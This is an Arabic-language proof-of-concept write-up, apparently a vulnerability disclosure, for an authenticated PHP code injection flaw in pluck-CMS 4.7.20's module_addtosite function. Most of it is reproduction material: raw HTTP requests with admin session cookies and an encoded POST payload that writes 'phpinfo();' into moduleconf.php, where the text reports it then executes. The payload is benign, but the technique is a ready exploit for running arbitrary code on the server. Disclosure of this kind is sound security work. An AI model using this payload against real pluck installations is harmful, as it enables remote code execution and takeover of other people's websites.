
# ثغرة حقن الكود في pluck-CMS 4.7.20
في ملف admin.php، تقوم دالة module_addtosite بالتكرار عبر مصفوفة $_POST بأكملها، وتقوم بتقسيم أسماء المعاملات التي يتحكم بها المستخدم باستخدام explode('|', ...) ثم تقوم بدمجها مباشرة في ملف data/settings/themes//moduleconf.php. سيتم تضمين هذا الملف لاحقاً في صفحة الواجهة الخلفية وعملية عرض theme_area() في الواجهة الأمامية. نظراً لأن أسماء المعاملات لم تخضع للتحقق من القائمة البيضاء والتهريب الأمني، يمكن للمهاجمين تلويث ملفات PHP القابلة للتنفيذ، مما يؤدي إلى ثغرات حقن الكود.
عنوان المشروع: https://github.com/pluck-cms/pluck/
بيئة إعادة الإنتاج: pluck-CMS-4.7.20 Apache2.4.39 PHP7.3.4 MySQL8.0.12
1、أولاً، قم بتثبيت بيئة جديدة تماماً.
2、قم بالوصول إلى صفحة "/login.php"، وسجّل الدخول إلى حساب المسؤول، وبعد تسجيل الدخول بنجاح، لاحظ ملف تعريف الارتباط (Cookie) الحالي كما يلي: login_history=1%7Cd1cca638fd415f8faca3e58d5c75832d; PHPSESSID=065b37ga6e7u45e6bocd02if0j
GET /admin.php?action=start HTTP/1.1
Host: 10.142.77.31
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.142.77.31/login.php
Connection: close
Cookie: login_history=1%7Cd1cca638fd415f8faca3e58d5c75832d; PHPSESSID=065b37ga6e7u45e6bocd02if0j
Upgrade-Insecure-Requests: 1
Priority: u=0, i
3、أرسل حزمة بيانات POST، مع الكود المحقون "phpinfo();"
POST /admin.php?action=module_addtosite HTTP/1.1
Host: 10.142.77.31
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.142.77.31/admin.php?action=start
Connection: close
Cookie: login_history=1%7Cd1cca638fd415f8faca3e58d5c75832d; PHPSESSID=065b37ga6e7u45e6bocd02if0j
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
save=1%3Bphpinfo%28%29%3B%2F%2F%7Cm%3D11
4、قم بالوصول إلى الدليل الجذر للموقع، وسيتم إعادة التوجيه إلى الصفحة الرئيسية. نجد أن الكود المحقون قد تم تنفيذه. 图片